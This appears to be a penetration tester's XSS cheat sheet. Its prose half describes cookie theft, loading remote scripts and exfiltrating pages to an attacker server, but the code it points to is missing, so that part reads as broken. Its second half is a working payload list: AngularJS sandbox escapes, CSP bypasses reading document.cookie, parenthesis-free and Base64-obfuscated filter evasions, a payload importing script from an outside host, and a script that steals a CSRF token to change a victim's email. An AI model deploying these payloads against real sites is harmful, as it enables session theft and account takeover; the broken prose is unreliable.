If you find <html ng-app>, <body ng-app> or <div ng-app> in the HTML source code, you may be able to abuse it by XSS.
To perform XSS without $eval function and quotes, we might be able to take another approach.
This PortSwigger's lab provides the following payload. But sorry, I don’t understand how it works at the moment.
If the website uses AngularJS with CSP (ng-csp) as below,
We need to bypass them by using a focus event (ng-focus),
Polyglot XSS
Exploit
After finding the XSS vulnerability, we can abuse it with
Load External JavaScript Code
We may be able to execute our JavaScript file which is hosted on our server.
Cookie Stealing
We can steal a victim's cookie with the following payload:
Alternatively, inject the following payload into input fields in a target website.
To retrieve data, start web server or listener in local machine.
When victims access to the target page, we may get their request headers in our server log.
Filter Evasion
Base64 & Eval
Website may sanitize inputs to prevent from malicious code. However, we might be able to circumvent by modifying our code.
For example, convert JavaScript code to Base64 string, then insert the base64 string into the “eval” function as below.
Charcode & Eval
We can use charcode (we can generate easily in CiberChef with the Base10 option) of the payload as below.
Then create eval function to use it.
Steal Contents of Restricted Pages or Files
If JavaScript code can be executed via XSS, we can let victims to get contents of restricted pages and send them to our server.
Interact with Another Host via XML HTTP Request
We might be able to send request the another host and retrieve the response.
First, create a JavaScript file named exploit.js here. Replace http://evil.com with your local ip address.
By this script, we send a request to http://sub.victim.com then fetch the response from the host.
GET Request
POST Request
Now we start web server to host the exploit.js and listener to receive the response.
Then send a request with XSS to execute our payload (exploit.js). Replace the evil.com with your local ip address.
We might fetch the response.
CSRF
The example below sends request to /admin on the victim site at first.
And retrieve HTML document and get CSRF token. Next, insert the new form element to submit arbitrary POST data.
After that, we can inject the script above in XSS.
For example, encode the script as Base64, then put it into the XSS payload as below.
We might be able to get sensitive information or change crucial data on the target.
Register New User with XSS
If the user name is reflected in the website, we might be able to inject XSS when registration.
# toString() : Create a string without quotes.
# toString().constructor.prototype.charAt=[].join : Override `charAt` function for all strings with `[].join`.
# [1]|orderBy:toString().constructor.fromCharCode(...) : Pass an array to the `orderBy` filter.
# 120,61,97,108,101,114,116,40,49,41 : It means `x=alert(1)` in decimal.
https://example.com/?q=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
# Blind XSS
# https://github.com/LewisArdern/bXSS
# https://github.com/ssl/ezXSS
# https://xsshunter.com/
# Blind XSS detection
# Xsshunter payload in every field
# Review forms
# Contact Us pages
# Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
# Address fields of e-commerce sites
# First or Last Name field while doing Credit Card Payments
# Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
# Log Viewers
# Feedback Page
# Chat Applications
# Any app that requires user moderation
# Host header
# Why cancel subscription? forms
# No parentheses
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>
# No parentheses and no semicolons
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
# No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>
# Angle brackets HTML encoded (in an attribute)
“onmouseover=“alert(1)
‘-alert(1)-’
# If quote is escaped
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
# Embedded tab, newline, carriage return to break up XSS
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
# RegEx bypass
<img src="X" onerror=top[8680439..toString(30)](1337)>
# Other
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
# Example:
# Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
# Removed in AngularJS 1.6
# Is a way to avoid some strings like window, document or __proto__.
# Without strings:
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
# With CSP:
<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
# v 1.6 and up
{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
{{constructor.constructor('import("https://six2dez.xss.ht")')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
# Inside JS script:
</script><img src=1 onerror=alert(document.domain)>
</script><script>alert(1)</script>
# Inside JS literal script:
'-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
# Inside JS that escape special chars:
If ';alert(document.domain)// is converted in \';alert(document.domain)//
Use \';alert(document.domain)// to obtain \\';alert(document.domain)//
\'-alert(1)//
# Inside JS with some char blocked:
onerror=alert;throw 1
/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
# Inside {}
${alert(document.domain)}
${alert(1)}